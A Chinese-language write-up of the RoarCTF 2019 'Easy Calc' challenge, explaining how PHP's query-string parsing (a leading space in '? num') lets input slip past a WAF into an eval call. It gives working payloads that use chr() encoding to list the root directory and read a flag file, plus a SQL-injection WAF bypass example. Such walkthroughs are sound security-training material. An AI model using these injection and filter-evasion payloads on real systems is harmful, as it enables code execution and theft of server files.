[RoarCTF 2019]Easy Calc PHP字符串解析漏洞、部分php函数

1.  题目为一个提交框,可提供计算功能

 但是不能输入字母符号等等

2.  抓包后分析

 发现页面为JavaScript判断,并且发现calc.php,进里面看看

 可以发现过滤了不少的符号,但是也发现了运行机制

 urlget形式传参数num并且在后端进行过滤,如果是合法字符便eval执行php计算后输出。初步判断这里可以进行代码植入。

3.  但是num只能接受运算式,这里我学到了php字符串解析漏洞。

https://www.freebuf.com/articles/web/213359.html

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用/news.php?%20news[id%00=42"+AND+1=0--绕过:


运用到这题的话,在传入num参数时可以用? num代替?num,也就是num前加一个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

4.  利用这个特性,可以开始往里面写指令,这里先用scandir()函数查看根目录文件

? num=var_dump(scandir(chr(47)))
scandir("路径")可以返回指定目录中的文件和目录的数组。
"/"被过滤所以用chr(47)绕过
var_dump将执行的结果输出。

 发现flagg文件。

payload:

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
file_get_contents("文件路径")将指定文件读入字符串中
用chr(ASCII码)指代/flagg
原文地址:https://www.cnblogs.com/cmredkulaa/p/14538556.html